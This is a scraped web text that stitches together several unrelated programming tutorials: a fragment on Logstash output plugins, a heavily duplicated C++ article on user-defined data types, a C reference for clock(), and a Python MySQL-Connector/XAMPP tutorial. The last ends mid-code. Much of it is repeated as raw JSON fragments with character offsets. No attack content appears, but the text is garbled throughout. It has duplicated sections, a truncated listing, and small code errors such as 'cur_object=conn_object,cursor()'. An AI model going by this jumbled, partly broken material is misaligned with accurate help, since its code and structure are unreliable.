} if [logger] == "TRANSACTION_END" { aggregate { task_id => "%{taskid}" code => "event.set('sql_duration', map['sql_duration'])" end_of_task => true timeout => 120 } } } output { if [logger] == "TRANSACTION_END" { file { path => "C:/tpwork/logstash/bin/log/output.log" codec => line{format => "%{sql_duration}"} } } } We can run Logstash by using the following command. >logstash –f logsatsh.conf The following code block shows the input log data. INFO - 48566 - TRANSACTION_START - start INFO - 48566 - SQL - transaction1 - 320 INFO - 48566 - SQL - transaction1 - 200 INFO - 48566 - TRANSACTION_END – end The following code block shows the output log data. 520 This is a special output plugin, which is used for analyzing the performance of input and filter Plugins.
[ { "code": null, "e": 2454, "s": 2189, "text": "Logstash provides multiple Plugins to support various data stores or search engines. The output events of logs can be sent to an output file, standard output or a search engine like Elasticsearch. There are three types of supported outputs in Logstash, which are −" }, { "code": null, "e": 2470, "s": 2454, "text": "Standard Output" }, { "code": null, "e": 2482, "s": 2470, "text": "File Output" }, { "code": null, "e": 2495, "s": 2482, "text": "Null Output " }, { "code": null, "e": 2539, "s": 2495, "text": "Let us now discuss each of these in detail." }, { "code": null, "e": 2726, "s": 2539, "text": "It is used for generating the filtered log events as a data stream to the command line interface. Here is an example of generating the total duration of a database transaction to stdout." }, { "code": null, "e": 2829, "s": 2726, "text": "This config file contains a stdout output plugin to write the total sql_duration to a standard output." }, { "code": null, "e": 3818, "s": 2829, "text": "input {\n file {\n path => \"C:/tpwork/logstash/bin/log/input.log\"\n }\n} \nfilter {\n grok {\n match => [\n \"message\", \"%{LOGLEVEL:loglevel} - %{NOTSPACE:taskid}\n - %{NOTSPACE:logger} - %{WORD:label}( - %{INT:duration:int})?\" \n ]\n }\n if [logger] == \"TRANSACTION_START\" {\n aggregate {\n task_id => \"%{taskid}\"\n code => \"map['sql_duration'] = 0\"\n map_action => \"create\"\n }\n }\n if [logger] == \"SQL\" {\n aggregate {\n task_id => \"%{taskid}\"\n code => \"map['sql_duration'] ||= 0 ;\n map['sql_duration'] += event.get('duration')\"\n }\n }\n if [logger] == \"TRANSACTION_END\" {\n aggregate {\n task_id => \"%{taskid}\"\n code => \"event.set('sql_duration', map['sql_duration'])\"\n end_of_task => true\n timeout => 120\n }\n }\n}\noutput {\n if [logger] == \"TRANSACTION_END\" {\n stdout {\n codec => line{format => \"%{sql_duration}\"}\n }\n }\n}" }, { "code": null, "e": 3888, "s": 3818, "text": "Note − Please install the aggregate filter, if not installed already." }, { "code": null, "e": 3940, "s": 3888, "text": ">logstash-plugin install Logstash-filter-aggregate\n" }, { "code": null, "e": 3992, "s": 3940, "text": "We can run Logstash by using the following command." }, { "code": null, "e": 4020, "s": 3992, "text": ">logstash –f logsatsh.conf\n" }, { "code": null, "e": 4071, "s": 4020, "text": "The following code block shows the input log data." }, { "code": null, "e": 4230, "s": 4071, "text": "INFO - 48566 - TRANSACTION_START - start\nINFO - 48566 - SQL - transaction1 - 320\nINFO - 48566 - SQL - transaction1 - 200\nINFO - 48566 - TRANSACTION_END – end\n" }, { "code": null, "e": 4296, "s": 4230, "text": "stdout (it will be command prompt in windows or terminal in UNIX)" }, { "code": null, "e": 4344, "s": 4296, "text": "This is the total sql_duration 320 + 200 = 520." }, { "code": null, "e": 4349, "s": 4344, "text": "520\n" }, { "code": null, "e": 4504, "s": 4349, "text": "Logstash can also store the filter log events to an output file. We will use the above-mentioned example and store the output in a file instead of STDOUT." }, { "code": null, "e": 4601, "s": 4504, "text": "This Logstash config file direct Logstash to store the total sql_duration to an output log file." }, { "code": null, "e": 5646, "s": 4601, "text": "input {\n file {\n path => \"C:/tpwork/logstash/bin/log/input1.log\"\n }\n} \nfilter {\n grok {\n match => [\n \"message\", \"%{LOGLEVEL:loglevel} - %{NOTSPACE:taskid} -\n %{NOTSPACE:logger} - %{WORD:label}( - %{INT:duration:int})?\" \n ]\n }\n if [logger] == \"TRANSACTION_START\" {\n aggregate {\n task_id => \"%{taskid}\"\n code => \"map['sql_duration'] = 0\"\n map_action => \"create\"\n }\n }\n if [logger] == \"SQL\" {\n aggregate {\n task_id => \"%{taskid}\"\n code => \"map['sql_duration'] ||= 0 ;\n map['sql_duration'] += event.get('duration')\"\n }\n }\n if [logger] == \"TRANSACTION_END\" {\n aggregate {\n task_id => \"%{taskid}\"\n code => \"event.set('sql_duration', map['sql_duration'])\"\n end_of_task => true\n timeout => 120\n }\n }\n}\noutput {\n if [logger] == \"TRANSACTION_END\" {\n file {\n path => \"C:/tpwork/logstash/bin/log/output.log\"\n codec => line{format => \"%{sql_duration}\"}\n }\n }\n}" }, { "code": null, "e": 5698, "s": 5646, "text": "We can run Logstash by using the following command." }, { "code": null, "e": 5726, "s": 5698, "text": ">logstash –f logsatsh.conf\n" }, { "code": null, "e": 5777, "s": 5726, "text": "The following code block shows the input log data." }, { "code": null, "e": 5936, "s": 5777, "text": "INFO - 48566 - TRANSACTION_START - start\nINFO - 48566 - SQL - transaction1 - 320\nINFO - 48566 - SQL - transaction1 - 200\nINFO - 48566 - TRANSACTION_END – end\n" }, { "code": null, "e": 5988, "s": 5936, "text": "The following code block shows the output log data." }, { "code": null, "e": 5993, "s": 5988, "text": "520\n" } ]
User defined Data Types in C++
28 Jun, 2021 Data types are means to identify the type of data and associated operations of handling it. There are three types of data types: Pre-defined DataTypesDerived Data TypesUser-defined DataTypes Pre-defined DataTypes Derived Data Types User-defined DataTypes In this article, the User-Defined DataType is explained: The data types that are defined by the user are called the derived datatype or user-defined derived data type.These types include: Class Structure Union Enumeration Typedef defined DataType Below is the detailed description of the following types: Class: The building block of C++ that leads to Object-Oriented programming is a Class. It is a user-defined data type, which holds its own data members and member functions, which can be accessed and used by creating an instance of that class. A class is like a blueprint for an object.Syntax:Example:// C++ program to demonstrate// Class #include <bits/stdc++.h>using namespace std; class Geeks { // Access specifierpublic: // Data Members string geekname; // Member Functions() void printname() { cout << "Geekname is: " << geekname; }}; int main(){ // Declare an object of class geeks Geeks obj1; // accessing data member obj1.geekname = "GeeksForGeeks"; // accessing member function obj1.printname(); return 0;}Output:Geekname is: GeeksForGeeks Structure: A structure is a user defined data type in C/C++. A structure creates a data type that can be used to group items of possibly different types into a single type.Syntax:struct address { char name[50]; char street[100]; char city[50]; char state[20]; int pin; };Example:// C++ program to demonstrate// Structures in C++ #include <iostream>using namespace std; struct Point { int x, y;}; int main(){ // Create an array of structures struct Point arr[10]; // Access array members arr[0].x = 10; arr[0].y = 20; cout << arr[0].x << ", " << arr[0].y; return 0;}Output:10, 20 Union: Like Structures, union is a user defined data type. In union, all members share the same memory location. For example in the following C program, both x and y share the same location. If we change x, we can see the changes being reflected in y.#include <iostream>using namespace std; // Declaration of union is same as the structuresunion test { int x, y;}; int main(){ // A union variable t union test t; // t.y also gets value 2 t.x = 2; cout << "After making x = 2:" << endl << "x = " << t.x << ", y = " << t.y << endl; // t.x is also updated to 10 t.y = 10; cout << "After making Y = 10:" << endl << "x = " << t.x << ", y = " << t.y << endl; return 0;}Output:After making x = 2: x = 2, y = 2 After making Y = 10: x = 10, y = 10 Enumeration: Enumeration (or enum) is a user defined data type in C. It is mainly used to assign names to integral constants, the names make a program easy to read and maintain.Syntax:enum State {Working = 1, Failed = 0}; // Program to demonstrate working// of enum in C++ #include <iostream>using namespace std; enum week { Mon, Tue, Wed, Thur, Fri, Sat, Sun }; int main(){ enum week day; day = Wed; cout << day; return 0;}Output:2 Typedef : C++ allows you to define explicitly new data type names by using the keyword typedef. Using typedef does not actually create a new data class, rather it defines a name for an existing type. This can increase the portability(the ability of a program to be used across different types of machines; i.e., mini, mainframe, micro, etc; without much changes into the code)of a program as only the typedef statements would have to be changed. Using typedef one can also aid in self-documenting code by allowing descriptive names for the standard data types.Syntax:typedef type name;where type is any C++ data type and name is the new name for this data type.This defines another name for the standard type of C++.Example:// C++ program to demonstrate typedef#include <iostream>using namespace std; // After this line BYTE can be used// in place of unsigned chartypedef unsigned char BYTE; int main(){ BYTE b1, b2; b1 = 'c'; cout << " " << b1; return 0;}Output:c My Personal Notes arrow_drop_upSave Class: The building block of C++ that leads to Object-Oriented programming is a Class. It is a user-defined data type, which holds its own data members and member functions, which can be accessed and used by creating an instance of that class. A class is like a blueprint for an object.Syntax:Example:// C++ program to demonstrate// Class #include <bits/stdc++.h>using namespace std; class Geeks { // Access specifierpublic: // Data Members string geekname; // Member Functions() void printname() { cout << "Geekname is: " << geekname; }}; int main(){ // Declare an object of class geeks Geeks obj1; // accessing data member obj1.geekname = "GeeksForGeeks"; // accessing member function obj1.printname(); return 0;}Output:Geekname is: GeeksForGeeks Syntax: Example: // C++ program to demonstrate// Class #include <bits/stdc++.h>using namespace std; class Geeks { // Access specifierpublic: // Data Members string geekname; // Member Functions() void printname() { cout << "Geekname is: " << geekname; }}; int main(){ // Declare an object of class geeks Geeks obj1; // accessing data member obj1.geekname = "GeeksForGeeks"; // accessing member function obj1.printname(); return 0;} Geekname is: GeeksForGeeks Structure: A structure is a user defined data type in C/C++. A structure creates a data type that can be used to group items of possibly different types into a single type.Syntax:struct address { char name[50]; char street[100]; char city[50]; char state[20]; int pin; };Example:// C++ program to demonstrate// Structures in C++ #include <iostream>using namespace std; struct Point { int x, y;}; int main(){ // Create an array of structures struct Point arr[10]; // Access array members arr[0].x = 10; arr[0].y = 20; cout << arr[0].x << ", " << arr[0].y; return 0;}Output:10, 20 Syntax: struct address { char name[50]; char street[100]; char city[50]; char state[20]; int pin; }; Example: // C++ program to demonstrate// Structures in C++ #include <iostream>using namespace std; struct Point { int x, y;}; int main(){ // Create an array of structures struct Point arr[10]; // Access array members arr[0].x = 10; arr[0].y = 20; cout << arr[0].x << ", " << arr[0].y; return 0;} 10, 20 Union: Like Structures, union is a user defined data type. In union, all members share the same memory location. For example in the following C program, both x and y share the same location. If we change x, we can see the changes being reflected in y.#include <iostream>using namespace std; // Declaration of union is same as the structuresunion test { int x, y;}; int main(){ // A union variable t union test t; // t.y also gets value 2 t.x = 2; cout << "After making x = 2:" << endl << "x = " << t.x << ", y = " << t.y << endl; // t.x is also updated to 10 t.y = 10; cout << "After making Y = 10:" << endl << "x = " << t.x << ", y = " << t.y << endl; return 0;}Output:After making x = 2: x = 2, y = 2 After making Y = 10: x = 10, y = 10 #include <iostream>using namespace std; // Declaration of union is same as the structuresunion test { int x, y;}; int main(){ // A union variable t union test t; // t.y also gets value 2 t.x = 2; cout << "After making x = 2:" << endl << "x = " << t.x << ", y = " << t.y << endl; // t.x is also updated to 10 t.y = 10; cout << "After making Y = 10:" << endl << "x = " << t.x << ", y = " << t.y << endl; return 0;} After making x = 2: x = 2, y = 2 After making Y = 10: x = 10, y = 10 Enumeration: Enumeration (or enum) is a user defined data type in C. It is mainly used to assign names to integral constants, the names make a program easy to read and maintain.Syntax:enum State {Working = 1, Failed = 0}; // Program to demonstrate working// of enum in C++ #include <iostream>using namespace std; enum week { Mon, Tue, Wed, Thur, Fri, Sat, Sun }; int main(){ enum week day; day = Wed; cout << day; return 0;}Output:2 Syntax: enum State {Working = 1, Failed = 0}; // Program to demonstrate working// of enum in C++ #include <iostream>using namespace std; enum week { Mon, Tue, Wed, Thur, Fri, Sat, Sun }; int main(){ enum week day; day = Wed; cout << day; return 0;} 2 Typedef : C++ allows you to define explicitly new data type names by using the keyword typedef. Using typedef does not actually create a new data class, rather it defines a name for an existing type. This can increase the portability(the ability of a program to be used across different types of machines; i.e., mini, mainframe, micro, etc; without much changes into the code)of a program as only the typedef statements would have to be changed. Using typedef one can also aid in self-documenting code by allowing descriptive names for the standard data types.Syntax:typedef type name;where type is any C++ data type and name is the new name for this data type.This defines another name for the standard type of C++.Example:// C++ program to demonstrate typedef#include <iostream>using namespace std; // After this line BYTE can be used// in place of unsigned chartypedef unsigned char BYTE; int main(){ BYTE b1, b2; b1 = 'c'; cout << " " << b1; return 0;}Output:c Syntax: typedef type name; where type is any C++ data type and name is the new name for this data type.This defines another name for the standard type of C++. Example: // C++ program to demonstrate typedef#include <iostream>using namespace std; // After this line BYTE can be used// in place of unsigned chartypedef unsigned char BYTE; int main(){ BYTE b1, b2; b1 = 'c'; cout << " " << b1; return 0;} c cpp-data-types Technical Scripter 2018 C++ C++ Programs Technical Scripter CPP Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 52, "s": 24, "text": "\n28 Jun, 2021" }, { "code": null, "e": 181, "s": 52, "text": "Data types are means to identify the type of data and associated operations of handling it. There are three types of data types:" }, { "code": null, "e": 243, "s": 181, "text": "Pre-defined DataTypesDerived Data TypesUser-defined DataTypes" }, { "code": null, "e": 265, "s": 243, "text": "Pre-defined DataTypes" }, { "code": null, "e": 284, "s": 265, "text": "Derived Data Types" }, { "code": null, "e": 307, "s": 284, "text": "User-defined DataTypes" }, { "code": null, "e": 364, "s": 307, "text": "In this article, the User-Defined DataType is explained:" }, { "code": null, "e": 495, "s": 364, "text": "The data types that are defined by the user are called the derived datatype or user-defined derived data type.These types include:" }, { "code": null, "e": 501, "s": 495, "text": "Class" }, { "code": null, "e": 511, "s": 501, "text": "Structure" }, { "code": null, "e": 517, "s": 511, "text": "Union" }, { "code": null, "e": 529, "s": 517, "text": "Enumeration" }, { "code": null, "e": 554, "s": 529, "text": "Typedef defined DataType" }, { "code": null, "e": 612, "s": 554, "text": "Below is the detailed description of the following types:" }, { "code": null, "e": 4435, "s": 612, "text": "Class: The building block of C++ that leads to Object-Oriented programming is a Class. It is a user-defined data type, which holds its own data members and member functions, which can be accessed and used by creating an instance of that class. A class is like a blueprint for an object.Syntax:Example:// C++ program to demonstrate// Class #include <bits/stdc++.h>using namespace std; class Geeks { // Access specifierpublic: // Data Members string geekname; // Member Functions() void printname() { cout << \"Geekname is: \" << geekname; }}; int main(){ // Declare an object of class geeks Geeks obj1; // accessing data member obj1.geekname = \"GeeksForGeeks\"; // accessing member function obj1.printname(); return 0;}Output:Geekname is: GeeksForGeeks\nStructure: A structure is a user defined data type in C/C++. A structure creates a data type that can be used to group items of possibly different types into a single type.Syntax:struct address {\n char name[50];\n char street[100];\n char city[50];\n char state[20];\n int pin;\n};Example:// C++ program to demonstrate// Structures in C++ #include <iostream>using namespace std; struct Point { int x, y;}; int main(){ // Create an array of structures struct Point arr[10]; // Access array members arr[0].x = 10; arr[0].y = 20; cout << arr[0].x << \", \" << arr[0].y; return 0;}Output:10, 20\nUnion: Like Structures, union is a user defined data type. In union, all members share the same memory location. For example in the following C program, both x and y share the same location. If we change x, we can see the changes being reflected in y.#include <iostream>using namespace std; // Declaration of union is same as the structuresunion test { int x, y;}; int main(){ // A union variable t union test t; // t.y also gets value 2 t.x = 2; cout << \"After making x = 2:\" << endl << \"x = \" << t.x << \", y = \" << t.y << endl; // t.x is also updated to 10 t.y = 10; cout << \"After making Y = 10:\" << endl << \"x = \" << t.x << \", y = \" << t.y << endl; return 0;}Output:After making x = 2:\nx = 2, y = 2\nAfter making Y = 10:\nx = 10, y = 10\nEnumeration: Enumeration (or enum) is a user defined data type in C. It is mainly used to assign names to integral constants, the names make a program easy to read and maintain.Syntax:enum State {Working = 1, Failed = 0}; // Program to demonstrate working// of enum in C++ #include <iostream>using namespace std; enum week { Mon, Tue, Wed, Thur, Fri, Sat, Sun }; int main(){ enum week day; day = Wed; cout << day; return 0;}Output:2\nTypedef : C++ allows you to define explicitly new data type names by using the keyword typedef. Using typedef does not actually create a new data class, rather it defines a name for an existing type. This can increase the portability(the ability of a program to be used across different types of machines; i.e., mini, mainframe, micro, etc; without much changes into the code)of a program as only the typedef statements would have to be changed. Using typedef one can also aid in self-documenting code by allowing descriptive names for the standard data types.Syntax:typedef type name;where type is any C++ data type and name is the new name for this data type.This defines another name for the standard type of C++.Example:// C++ program to demonstrate typedef#include <iostream>using namespace std; // After this line BYTE can be used// in place of unsigned chartypedef unsigned char BYTE; int main(){ BYTE b1, b2; b1 = 'c'; cout << \" \" << b1; return 0;}Output:c\nMy Personal Notes\narrow_drop_upSave" }, { "code": null, "e": 5247, "s": 4435, "text": "Class: The building block of C++ that leads to Object-Oriented programming is a Class. It is a user-defined data type, which holds its own data members and member functions, which can be accessed and used by creating an instance of that class. A class is like a blueprint for an object.Syntax:Example:// C++ program to demonstrate// Class #include <bits/stdc++.h>using namespace std; class Geeks { // Access specifierpublic: // Data Members string geekname; // Member Functions() void printname() { cout << \"Geekname is: \" << geekname; }}; int main(){ // Declare an object of class geeks Geeks obj1; // accessing data member obj1.geekname = \"GeeksForGeeks\"; // accessing member function obj1.printname(); return 0;}Output:Geekname is: GeeksForGeeks\n" }, { "code": null, "e": 5255, "s": 5247, "text": "Syntax:" }, { "code": null, "e": 5264, "s": 5255, "text": "Example:" }, { "code": "// C++ program to demonstrate// Class #include <bits/stdc++.h>using namespace std; class Geeks { // Access specifierpublic: // Data Members string geekname; // Member Functions() void printname() { cout << \"Geekname is: \" << geekname; }}; int main(){ // Declare an object of class geeks Geeks obj1; // accessing data member obj1.geekname = \"GeeksForGeeks\"; // accessing member function obj1.printname(); return 0;}", "e": 5741, "s": 5264, "text": null }, { "code": null, "e": 5769, "s": 5741, "text": "Geekname is: GeeksForGeeks\n" }, { "code": null, "e": 6402, "s": 5769, "text": "Structure: A structure is a user defined data type in C/C++. A structure creates a data type that can be used to group items of possibly different types into a single type.Syntax:struct address {\n char name[50];\n char street[100];\n char city[50];\n char state[20];\n int pin;\n};Example:// C++ program to demonstrate// Structures in C++ #include <iostream>using namespace std; struct Point { int x, y;}; int main(){ // Create an array of structures struct Point arr[10]; // Access array members arr[0].x = 10; arr[0].y = 20; cout << arr[0].x << \", \" << arr[0].y; return 0;}Output:10, 20\n" }, { "code": null, "e": 6410, "s": 6402, "text": "Syntax:" }, { "code": null, "e": 6523, "s": 6410, "text": "struct address {\n char name[50];\n char street[100];\n char city[50];\n char state[20];\n int pin;\n};" }, { "code": null, "e": 6532, "s": 6523, "text": "Example:" }, { "code": "// C++ program to demonstrate// Structures in C++ #include <iostream>using namespace std; struct Point { int x, y;}; int main(){ // Create an array of structures struct Point arr[10]; // Access array members arr[0].x = 10; arr[0].y = 20; cout << arr[0].x << \", \" << arr[0].y; return 0;}", "e": 6852, "s": 6532, "text": null }, { "code": null, "e": 6860, "s": 6852, "text": "10, 20\n" }, { "code": null, "e": 7706, "s": 6860, "text": "Union: Like Structures, union is a user defined data type. In union, all members share the same memory location. For example in the following C program, both x and y share the same location. If we change x, we can see the changes being reflected in y.#include <iostream>using namespace std; // Declaration of union is same as the structuresunion test { int x, y;}; int main(){ // A union variable t union test t; // t.y also gets value 2 t.x = 2; cout << \"After making x = 2:\" << endl << \"x = \" << t.x << \", y = \" << t.y << endl; // t.x is also updated to 10 t.y = 10; cout << \"After making Y = 10:\" << endl << \"x = \" << t.x << \", y = \" << t.y << endl; return 0;}Output:After making x = 2:\nx = 2, y = 2\nAfter making Y = 10:\nx = 10, y = 10\n" }, { "code": "#include <iostream>using namespace std; // Declaration of union is same as the structuresunion test { int x, y;}; int main(){ // A union variable t union test t; // t.y also gets value 2 t.x = 2; cout << \"After making x = 2:\" << endl << \"x = \" << t.x << \", y = \" << t.y << endl; // t.x is also updated to 10 t.y = 10; cout << \"After making Y = 10:\" << endl << \"x = \" << t.x << \", y = \" << t.y << endl; return 0;}", "e": 8225, "s": 7706, "text": null }, { "code": null, "e": 8295, "s": 8225, "text": "After making x = 2:\nx = 2, y = 2\nAfter making Y = 10:\nx = 10, y = 10\n" }, { "code": null, "e": 8816, "s": 8295, "text": "Enumeration: Enumeration (or enum) is a user defined data type in C. It is mainly used to assign names to integral constants, the names make a program easy to read and maintain.Syntax:enum State {Working = 1, Failed = 0}; // Program to demonstrate working// of enum in C++ #include <iostream>using namespace std; enum week { Mon, Tue, Wed, Thur, Fri, Sat, Sun }; int main(){ enum week day; day = Wed; cout << day; return 0;}Output:2\n" }, { "code": null, "e": 8824, "s": 8816, "text": "Syntax:" }, { "code": null, "e": 8863, "s": 8824, "text": "enum State {Working = 1, Failed = 0}; " }, { "code": "// Program to demonstrate working// of enum in C++ #include <iostream>using namespace std; enum week { Mon, Tue, Wed, Thur, Fri, Sat, Sun }; int main(){ enum week day; day = Wed; cout << day; return 0;}", "e": 9153, "s": 8863, "text": null }, { "code": null, "e": 9156, "s": 9153, "text": "2\n" }, { "code": null, "e": 10136, "s": 9156, "text": "Typedef : C++ allows you to define explicitly new data type names by using the keyword typedef. Using typedef does not actually create a new data class, rather it defines a name for an existing type. This can increase the portability(the ability of a program to be used across different types of machines; i.e., mini, mainframe, micro, etc; without much changes into the code)of a program as only the typedef statements would have to be changed. Using typedef one can also aid in self-documenting code by allowing descriptive names for the standard data types.Syntax:typedef type name;where type is any C++ data type and name is the new name for this data type.This defines another name for the standard type of C++.Example:// C++ program to demonstrate typedef#include <iostream>using namespace std; // After this line BYTE can be used// in place of unsigned chartypedef unsigned char BYTE; int main(){ BYTE b1, b2; b1 = 'c'; cout << \" \" << b1; return 0;}Output:c\n" }, { "code": null, "e": 10144, "s": 10136, "text": "Syntax:" }, { "code": null, "e": 10163, "s": 10144, "text": "typedef type name;" }, { "code": null, "e": 10295, "s": 10163, "text": "where type is any C++ data type and name is the new name for this data type.This defines another name for the standard type of C++." }, { "code": null, "e": 10304, "s": 10295, "text": "Example:" }, { "code": "// C++ program to demonstrate typedef#include <iostream>using namespace std; // After this line BYTE can be used// in place of unsigned chartypedef unsigned char BYTE; int main(){ BYTE b1, b2; b1 = 'c'; cout << \" \" << b1; return 0;}", "e": 10551, "s": 10304, "text": null }, { "code": null, "e": 10554, "s": 10551, "text": "c\n" }, { "code": null, "e": 10569, "s": 10554, "text": "cpp-data-types" }, { "code": null, "e": 10593, "s": 10569, "text": "Technical Scripter 2018" }, { "code": null, "e": 10597, "s": 10593, "text": "C++" }, { "code": null, "e": 10610, "s": 10597, "text": "C++ Programs" }, { "code": null, "e": 10629, "s": 10610, "text": "Technical Scripter" }, { "code": null, "e": 10633, "s": 10629, "text": "CPP" } ]
C library function - clock()
The C library function clock_t clock(void) returns the number of clock ticks elapsed since the program was launched. To get the number of seconds used by the CPU, you will need to divide by CLOCKS_PER_SEC. On a 32 bit system where CLOCKS_PER_SEC equals 1000000 this function will return the same value approximately every 72 minutes. Following is the declaration for clock() function. clock_t clock(void) NA NA This function returns the number of clock ticks elapsed since the start of the program. On failure, the function returns a value of -1. The following example shows the usage of clock() function. #include <time.h> #include <stdio.h> int main () { clock_t start_t, end_t; double total_t; int i; start_t = clock(); printf("Starting of the program, start_t = %ld\n", start_t); printf("Going to scan a big loop, start_t = %ld\n", start_t); for(i=0; i< 10000000; i++) { } end_t = clock(); printf("End of the big loop, end_t = %ld\n", end_t); total_t = (double)(end_t - start_t) / CLOCKS_PER_SEC; printf("Total time taken by CPU: %f\n", total_t ); printf("Exiting of the program...\n"); return(0); } Let us compile and run the above program that will produce the following result − Starting of the program, start_t = 1194 Going to scan a big loop, start_t = 1194 End of the big loop, end_t = 26796 Total time taken by CPU: 0.025602 Exiting of the program...
[ { "code": null, "e": 2347, "s": 2141, "text": "The C library function clock_t clock(void) returns the number of clock ticks elapsed since the program was launched. To get the number of seconds used by the CPU, you will need to divide by CLOCKS_PER_SEC." }, { "code": null, "e": 2475, "s": 2347, "text": "On a 32 bit system where CLOCKS_PER_SEC equals 1000000 this function will return the same value approximately every 72 minutes." }, { "code": null, "e": 2526, "s": 2475, "text": "Following is the declaration for clock() function." }, { "code": null, "e": 2546, "s": 2526, "text": "clock_t clock(void)" }, { "code": null, "e": 2549, "s": 2546, "text": "NA" }, { "code": null, "e": 2552, "s": 2549, "text": "NA" }, { "code": null, "e": 2688, "s": 2552, "text": "This function returns the number of clock ticks elapsed since the start of the program. On failure, the function returns a value of -1." }, { "code": null, "e": 2747, "s": 2688, "text": "The following example shows the usage of clock() function." }, { "code": null, "e": 3300, "s": 2747, "text": "#include <time.h>\n#include <stdio.h>\n\nint main () {\n clock_t start_t, end_t;\n double total_t;\n int i;\n\n start_t = clock();\n printf(\"Starting of the program, start_t = %ld\\n\", start_t);\n \n printf(\"Going to scan a big loop, start_t = %ld\\n\", start_t);\n for(i=0; i< 10000000; i++) {\n }\n end_t = clock();\n printf(\"End of the big loop, end_t = %ld\\n\", end_t);\n \n total_t = (double)(end_t - start_t) / CLOCKS_PER_SEC;\n printf(\"Total time taken by CPU: %f\\n\", total_t );\n printf(\"Exiting of the program...\\n\");\n\n return(0);\n}" }, { "code": null, "e": 3382, "s": 3300, "text": "Let us compile and run the above program that will produce the following result −" } ]
Extract Data from Database using MySQL-Connector and XAMPP in Python
01 Nov, 2020 Prerequisites: MySQL-Connector, XAMPP Installation A connector is employed when we have to use MySQL with other programming languages. The work of mysql-connector is to provide access to MySQL Driver to the required language. Thus, it generates a connection between the programming language and the MySQL Server. XAMPP: Database / Server to store and display data. MySQL-Connector module: For connecting the database with the python file. Use the below command to install this module. pip install mysql-connector Wheel module: A command line tool for working with wheel files. Use the below command to install this module. pip install wheel Procedure to create a table in the database: Start your XAMPP web server. Type http://localhost/phpmyadmin/ in your browser. Go to Database create database with name and click on Create. Create a table with in GEEK database and click on Go. Define column names and click on save. Your table is created. Insert data in your database by clicking on SQL tab then select INSERT. The data in your table is: Now you can perform operation IE display data in your web page using python Procedure for writing Python program: Import mysql connector module in your Python code. import mysql.connector Create connection object. conn_object=mysql.connector.connect(hostname,username,password,database_name) Here, you will need to pass server name, username, password, and database name) Create a cursor object. cur_object=conn_object,cursor() Perform queries on database. query=DDL/DML etc cur_obj=execute(query) Close cursor object. cur_obj.close() Close connection object. conn_obj.close() Below is the complete Python program based on the above approach: Python3 # import required modulesimport mysql.connector # create connection objectcon = mysql.connector.connect( host="localhost", user="root", password="", database="GEEK") # create cursor objectcursor = con.cursor() # assign data queryquery1 = "desc geeksdemo" # executing cursorcursor.execute(query1) # display all recordstable = cursor.fetchall() # describe tableprint('\n Table Description:')for attr in table: print(attr) # assign data queryquery2 = "select * from geeksdemo" # executing cursorcursor.execute(query2) # display all recordstable = cursor.fetchall() # fetch all columnsprint('\n Table Data:')for row in table: print(row[0], end=" ") print(row[1], end=" ") print(row[2], end=" ") print(row[3], end="\n") # closing cursor connectioncursor.close() # closing connection objectcon.close() Output: Note: XAMPP Apache and MySQL should be kept on during the whole process. Python-mySQL Python Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. How to iterate through Excel rows in Python? Rotate axis tick labels in Seaborn and Matplotlib Deque in Python Queue in Python Defaultdict in Python Check if element exists in list in Python Python Classes and Objects Bar Plot in Matplotlib reduce() in Python Python | Get unique values from a list
[ { "code": null, "e": 28, "s": 0, "text": "\n01 Nov, 2020" }, { "code": null, "e": 79, "s": 28, "text": "Prerequisites: MySQL-Connector, XAMPP Installation" }, { "code": null, "e": 341, "s": 79, "text": "A connector is employed when we have to use MySQL with other programming languages. The work of mysql-connector is to provide access to MySQL Driver to the required language. Thus, it generates a connection between the programming language and the MySQL Server." }, { "code": null, "e": 393, "s": 341, "text": "XAMPP: Database / Server to store and display data." }, { "code": null, "e": 513, "s": 393, "text": "MySQL-Connector module: For connecting the database with the python file. Use the below command to install this module." }, { "code": null, "e": 542, "s": 513, "text": "pip install mysql-connector\n" }, { "code": null, "e": 652, "s": 542, "text": "Wheel module: A command line tool for working with wheel files. Use the below command to install this module." }, { "code": null, "e": 671, "s": 652, "text": "pip install wheel\n" }, { "code": null, "e": 716, "s": 671, "text": "Procedure to create a table in the database:" }, { "code": null, "e": 745, "s": 716, "text": "Start your XAMPP web server." }, { "code": null, "e": 796, "s": 745, "text": "Type http://localhost/phpmyadmin/ in your browser." }, { "code": null, "e": 858, "s": 796, "text": "Go to Database create database with name and click on Create." }, { "code": null, "e": 912, "s": 858, "text": "Create a table with in GEEK database and click on Go." }, { "code": null, "e": 951, "s": 912, "text": "Define column names and click on save." }, { "code": null, "e": 974, "s": 951, "text": "Your table is created." }, { "code": null, "e": 1046, "s": 974, "text": "Insert data in your database by clicking on SQL tab then select INSERT." }, { "code": null, "e": 1073, "s": 1046, "text": "The data in your table is:" }, { "code": null, "e": 1149, "s": 1073, "text": "Now you can perform operation IE display data in your web page using python" }, { "code": null, "e": 1187, "s": 1149, "text": "Procedure for writing Python program:" }, { "code": null, "e": 1238, "s": 1187, "text": "Import mysql connector module in your Python code." }, { "code": null, "e": 1262, "s": 1238, "text": "import mysql.connector\n" }, { "code": null, "e": 1288, "s": 1262, "text": "Create connection object." }, { "code": null, "e": 1366, "s": 1288, "text": "conn_object=mysql.connector.connect(hostname,username,password,database_name)" }, { "code": null, "e": 1446, "s": 1366, "text": "Here, you will need to pass server name, username, password, and database name)" }, { "code": null, "e": 1470, "s": 1446, "text": "Create a cursor object." }, { "code": null, "e": 1503, "s": 1470, "text": "cur_object=conn_object,cursor()\n" }, { "code": null, "e": 1532, "s": 1503, "text": "Perform queries on database." }, { "code": null, "e": 1574, "s": 1532, "text": "query=DDL/DML etc\ncur_obj=execute(query)\n" }, { "code": null, "e": 1595, "s": 1574, "text": "Close cursor object." }, { "code": null, "e": 1612, "s": 1595, "text": "cur_obj.close()\n" }, { "code": null, "e": 1637, "s": 1612, "text": "Close connection object." }, { "code": null, "e": 1655, "s": 1637, "text": "conn_obj.close()\n" }, { "code": null, "e": 1721, "s": 1655, "text": "Below is the complete Python program based on the above approach:" }, { "code": null, "e": 1729, "s": 1721, "text": "Python3" }, { "code": "# import required modulesimport mysql.connector # create connection objectcon = mysql.connector.connect( host=\"localhost\", user=\"root\", password=\"\", database=\"GEEK\") # create cursor objectcursor = con.cursor() # assign data queryquery1 = \"desc geeksdemo\" # executing cursorcursor.execute(query1) # display all recordstable = cursor.fetchall() # describe tableprint('\\n Table Description:')for attr in table: print(attr) # assign data queryquery2 = \"select * from geeksdemo\" # executing cursorcursor.execute(query2) # display all 